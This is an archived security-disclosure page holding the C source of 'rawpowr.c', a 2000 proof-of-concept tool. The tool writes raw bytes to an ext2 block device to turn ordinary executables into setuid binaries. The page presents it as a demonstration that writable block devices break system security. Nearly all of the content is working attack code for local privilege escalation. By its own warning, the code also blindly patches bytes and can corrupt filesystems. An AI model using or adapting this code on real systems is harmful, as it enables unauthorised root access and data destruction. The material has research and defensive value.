global security disclosure

rawpowr.c

rawpowr.c
Posted Feb 8, 2000
Authored by Mixter | Site mixter.void.ru

rawpowr.c can access a block device containing an EXT2 file system in raw mode, changing all executables into suid executables. this demonstrates that security can easily be breached as soon as block devices are directly writable by the attacker.

MD5 | dafe38921ef1b67bdf99fddf6a4d3873

rawpowr.c

Change Mirror Download
/*
* rawpowr 0.1, Jan 2000 by Mixter
*
* This tool will try to read inode tables from a ext2 partition in raw mode,
* and change bytes that indicate umask 755 for a file to umask 4755. It could
* be used to create suid root binaries from any files on a ext2 filesystem
* that can be written to. This demonstrates that most block devices should
* not be directly accessible by users at any time, and that systems should be
* run under a securelevel where raw access to such devices is impossible.
*
* WARNING! WARNING! WARNING! This not only performs raw operations on your
* harddisk, but also very sloppy ones (i.e. replace occurences of a special
* byte with another one, without honoring the ext2fs structure). Do NOT use
* this on active or mounted partitions! Do NOT use this on partitions with
* valuable non-backed-up data. I suggest you try this with a ext2fs floppy
* disk. I am not responsible for any damages this thingie might cause :).
*/

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>

/* This is the offset where my first file on a "virgin" ext2fs
was located. This offset is relatively tiny, and therefore, probably
only the first few binaries in the root directory get chmod +s'ed */

#define E2_DATA_START 278528
#define E2_MODE_755 '\x81'
#define E2_MODE_4755 '\x8d'

void
ewsage (char *x)
{
printf ("usage: %s <writable block device>\nthis tries to change normal files to suid binaries\n", x);
exit (0);
}

int
main (int argc, char **argv)
{
char inodes_raw[E2_DATA_START];
int effdee;
long r, i;

if (argc != 2)
ewsage (argv[0]);

(void) sync ();

printf ("rawpower by Mixter\nWarning: this program performs dangerous operations on block devices...\n\t Hit ctrl+c to terminate now!\n");
sleep (5);

if ((effdee = open (argv[1], O_RDWR)) == -1)
{
perror ("opening filesystem");
ewsage (argv[0]);
}

printf ("Reading from device...");
r = read (effdee, inodes_raw, E2_DATA_START);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".");
if (r < E2_DATA_START)
r += read (effdee, inodes_raw + r, E2_DATA_START - r);
printf (".\n");

for (i = 0; i < E2_DATA_START; i++)
{
if (inodes_raw[i] == E2_MODE_755)
{
inodes_raw[i] = E2_MODE_4755;
printf ("Changing possible permission byte at offset: %ld\n", i);
}
}

lseek (effdee, 0, SEEK_SET);

printf ("Writing to device...");
i = write (effdee, inodes_raw, r);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".");
if (i < r)
i += write (effdee, inodes_raw + i, r - i);
printf (".\n");

close (effdee);
(void) sync ();

printf ("Synching disk, done! (Now try: find /mountpoint -perm 4000)\n");

return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close